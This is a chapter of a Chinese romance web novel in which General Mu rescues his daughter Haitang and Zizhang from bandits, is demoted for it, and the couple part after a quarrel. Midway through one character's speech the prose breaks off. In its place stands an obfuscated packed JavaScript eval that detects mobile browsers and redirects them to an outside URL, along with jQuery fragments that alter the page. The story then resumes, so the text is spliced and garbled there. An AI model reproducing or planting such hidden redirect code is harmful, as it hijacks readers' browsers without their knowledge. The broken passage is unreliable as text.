却说这乐独闲不多时便回来了，大喊着“不好了不好了”，原来是山下忽然来了好多人，看样子像是军中的人，正在放火烧山，天年寨的土匪们已经被迫下山去查看了。
子璋听了，断定道：“这一定是救我们的人来了。”
海棠先是一喜，又觉得奇怪：“怎么会有军中的人？难道……”
“不错。应当是你哥哥羡文带着兵过来了。”
“可是我哥哥是个文职。他怎么会带兵呢？”
他们又继续追问乐独闲细节，乐独闲道：“看上去为首领军的乃是一位老将军，气度威武。模样瞧着和海棠丫头有几分相似，——不会是你爹爹吧，丫头？”
“啊……”海棠更惊讶了。“这么说是……”
“是的。想不到竟然连沐老将军都惊动了。”子璋点头。
于是乐独闲赶紧带了海棠和子璋向山下飞去。一路上，海棠还趁机问起他是否认识三娘子等人，并告诉他，他们正在临夜四处寻找他踪迹。那乐独闲果然识得，但并不愿再见那些同门小辈，说自己“是云外闲人，喜欢自由自在、独来独往，他们要找就找去，能不能找到就另说了”，反正他是不会再回去当什么劳什子掌门之类。大约他也不打算在这云横山久居，只怕此事过后便会另换地方，到时候三娘子便是知道了也依旧寻不到人。
子璋又想起来那王掌柜还困在山上呢，于是将这件事也告诉了乐独闲。他点点头：“这个我自然知道。这小子说起来是老夫的救命恩人，这个你们就不用挂心了，我将你们送下山，自会去搭救他。”
海棠在旁边听了，暗自腹诽陈子璋心慈手软，连王掌柜都还记在心里，可真是活菩萨转世。
他们还没到山下，已碰上大队的人马，沐老爷带兵沿着山道一路杀上来，又放火烧山，烟云腾腾、山道狼藉一片。乐独闲一手一个带着二人，凌空落在队伍之前，将海棠和子璋往地上一放，话都没说一句，便转身飘然而去。
那沐老爷见女儿女婿忽又从天而降，当真又惊又喜。他们询问一番，海棠满肚子委屈哭诉几句，说自己和子璋在这土匪窝如何如何受气、九死一生百般被辱，气得沐老爷哪里能忍？当即就下令继续向山上进发，说是“誓要剿平土匪窝”。
子璋见状，不知哪根筋不对，竟上前劝了几句请沐老爷不必再深究那些土匪的过错，沐老爷正在气头上呢，如何肯听？将二人放在身后的马上，就继续带队杀上去。
海棠正痛快呢，心想这回总算轮到她出一出恶气，只是没料到这陈子璋又开始菩萨心肠。
“你没事吧？怎么竟然还为那些土匪求情？？？”海棠怒道。
子璋摇头叹气，看目前这众兵士和土匪们杀红眼交战的情形，已是无可挽回了。“我这是为了沐老爷好。我们两个既然已经得救，应当直接回撤便好了，何必还要深入云横山，再多此一举？”
“什么叫多此一举？？你……”海棠刚刚在山洞里和陈子璋相处得有些情意融融，这会儿听到他居然又向土匪求情，那本已酝酿好的柔情瞬间灰飞烟灭，火大道：
“你到底怎么回事啊，陈子璋？？！！是不是因为那女土匪对你不错，你那菩萨心肠又发作了，还是你对她仍念念不忘呢？那几个土匪对我们百般凌辱，你是忘了吗？这会子正是报仇雪恨的好时机，你搭错了哪根筋，帮他们发这慈悲？”
子璋锁眉不语。他知道海棠又在生他的气了，可是她之所气和他之所忧根本不是一回事。但他觉得自己考虑的事情便是同她解释也解释不通，何必多费口舌。
——反正她就是这脾气。
子璋想：沐老将军本来在镇北城戍守，忽然便领着兵马越过国境来云横山救人，这事情多半莲国国王和临夜的人都不知道呢，若是将来叫上面的人知道了，子璋担心此行此事恐怕会对沐家不利。
但他也有疑虑，上面的人是否会处罚？对此他也并不确定，只是希望是自己多虑。因此也就没有明说出口。
那沐老爷领兵一路打打杀杀，径直杀到白山王的天年寨老巢。没想到这土匪窝如此不经打，想来是在这云横山上称王称霸多年，没人管过，养尊处优疏于战阵，更兼沐家军队素来训练严整、战力顽强，土匪们没怎么抵抗便是溃不成军。
沐家军很快就活捉了白山王和女匪头念真，将那些欺负过海棠的土匪也都一一找出来，砍了；沐老爷还气不过，把白山王绑起来，命人倒吊在树上，不许放下，用鞭子抽打。还听海棠说她差点被这女匪头子害死，更怒不可遏，让人将念真也绑了，要丢到山崖下面摔死。
那念真哭得凄惨，不住声地向子璋求情。子璋心软不忍，果然出口，说希望沐老爷能够饶她一命。沐老爷碍于女婿的面子，人家都已经开口了，他也不好再驳，而且那白山王被他们倒吊折磨了一番，已经是气息奄奄，眼看活不成了，这口恶气也算是出了，于是答应放了念真。
海棠知道子璋再度向念真求情之后，非常非常生气。将他叫过去大骂一番。子璋却说：“凡事要有长远打算。”
“我呸！你就是看上这女土匪罢了！还说什么借口？还不是因为她对你一直都不错，没把你倒吊着扔进山崖！……”
子璋却懒得跟她争辩，一副不置可否的样子。海棠看他这样不理自己，更生气了。
“看吧，你就是对她动情了！恶不恶心啊？！！”
子璋听了这话终于忍不了了：“……这怎么就‘恶心’了？？你能不能说话别这样难听？”
“我说话就是这样了。你想听你念真妹妹温声软语，去山下找她啊？腿脚快些，再晚了只怕她跑得没人影了。”
子璋听得摇头，索性闭上嘴也不再争辩。两人如此又吵了一架，竟然开启了新的“冷战”。
※※※※※※※※※※
可谁知怕什么来什么，子璋先前对沐家的担忧竟真的应验了。沐老爷为了救女儿，强闯关隘、又放火烧了云横山，此事很快便传到临夜皇帝那里，得罪了临夜。临夜此时正与莲泽谈判，先前莲国太子被刺一事本让他们有些理亏，如今莲国将军却侵犯临夜领地、纵火生事，他们忽然找到了平衡。临夜皇帝便拿这件事做文章，要挟莲国，因此莲国不得不向后退了一步，妥协而放弃了对太子被刺一事的追查，此事竟不了了之。
莲泽国王为此大为恼火，也是为了给临夜一个交代，便下了圣旨将镇国将军沐元嘉贬官至西海边陲。那西海境位于莲国的最西方，土地贫瘠，荒无人烟，隔着偌大汪洋和天方国相望。可怜沐家正赫赫声势，竟一朝因为一个女儿遭此祸事。
沐老爷既然出了这样的事，也怕连累陈家，便让海棠和新月带着沐老夫人赶紧从江都回来——倒了霉运别赖在人家陈府上。
至于陈家呢？虽然陈老爷对和沐老爷的友谊坚定不移，也深为其不平遭遇感到不平，但眼下陛下正在气头上，他若强行说情只怕起了反作用；再者他也怕真的累及自家。于是暂时答应了将海棠送走，心中却另有自己的盘算。
陈夫人反应更是大得很，她本来便对海棠不满，如今出了这件事，还是因为祸起这女孩，便一直埋怨陈老爷：早那么多年非要结这门婚事，结果惹上这种事，白白耽误了子璋大好年华。谁知却被陈老爷一个怒目顶过去，也不敢再吱声了。只能对着儿子大加劝解起来：
“我就说那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323840|199110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
海棠，是个天煞孤星。你看看，因为她一个女儿家，害得沐家这样大的人家竟沦落至此！子璋啊，我的儿，得亏你们两个还没成亲，不然你还没高升，先娶个罪臣之女，这前程只怕是也完了！”
子璋听得忍不住纠正：“母亲，人家沐伯伯只是换去西海戍守，仍保留将军之职，何至于像您说得那般不堪了。”
“？贬到那种鸡都不生蛋的地方去，而且连秀峰城的宅子都给收了，这还不是罪臣了吗？！真是的，子璋，你怎么还向着他们说话！我告诉你，赶紧断了这念想，我给你好好寻一个更好的人家。”
子璋听了，只是埋着头看书，也不答话。
※※※※※
不日，海棠带着妹妹和母亲，又再度离开江都城，将要启程北上。还是像当初来江都的时候一样，陈老爷让子璋送他们出城。子璋自然听从。
于是送行。两个人却都一路不说话。
海棠和子璋在云横山下那会儿吵了架，到此时冷战并未结束呢。虽然家门横遭此祸事，海棠心情郁结，但也没有要跟子璋和解的意思。只是想此一去，只怕再难相见了，说起来也是缘分从此断绝。
她们已经到了城门口了。举头望一眼那江都的城楼。记得当初到这儿之时，是子璋来迎接；没想到走的时候，也是他送行。倒真的是好聚好散了。
还是新月和沐夫人先说话了，让子璋别再送了，就在这里别过。子璋点点头，望着海棠不语。
海棠想：该说的道别话还是要她先说的，不然这闷葫芦不会开口。于是道：
“也该说再见了。你就没有什么别的话想对我说吗？”
谁知子璋却很是随意地回了她一句：“你想听我说什么？”
？？？？
海棠被堵得脸红了一阵。“不想说就别说了。你赶紧找个媳妇娶了吧。”
子璋目瞪口呆：？？？没想到她这分别时候，最后竟冒出这么一句来。哪有这样的人？？？
“……你就这么想让我成亲？”
不然呢？你又什么都不说。海棠觉得心中有点酸酸的，可是她很快转头就跨上了马。
“是的！你赶紧成亲吧！你成亲之后，我就一辈子清净了！”
她抛下这句话，就甩起马鞭，头也不回地扬鞭而去了。子璋在原地看他们车队越行越远，心想：这女孩走也走得这么洒脱。她好像一丝留恋和痛苦挣扎都没有。
是啊，这不就是她吗？他应当早就知道了。什么分别的痛苦，她是不会有的。便是有，那大概也只是在脑海中逗留些许时刻，便很快消散如烟。
※※※※※※※※※※
回到秀峰城之后，因为沐老爷犯了事，那秀峰城的宅邸也被朝廷没收了。先前因为大风被吹塌的宅子，还没建成。一家人商量着，沐老爷单独去西海戍边；羡文则继续在镇北城做事（万幸他还没有受到爹爹的事情牵连）。至于沐夫人和两个女儿，则只能投奔沐老爷在清河的妹妹王家。
王家那几个姐妹一直和海棠不睦，但眼下哥哥遭此横祸，作为妹妹的王姑母怎么能看得下去？她主动给哥哥去信，要接海棠和嫂嫂过来住。沐老爷自然感激，心想：这个耳根子软了一辈子的妹妹总算明白了一回，果然关键时候还是血亲姐妹靠得住。
家门不幸，海棠也没有办法再挑三拣四了，于是只能再度和母亲、新月一道启程，奔赴清河王家。虽然王家那几个表姐妹从小和她关系很烂，但那都是小时候的事了。
——如今人大心大，总不至于还抱着新仇旧恨不放吧？
可该说不说，她海棠也不会任人欺凌，即便是寄人篱下，也休想让她吃气受罪。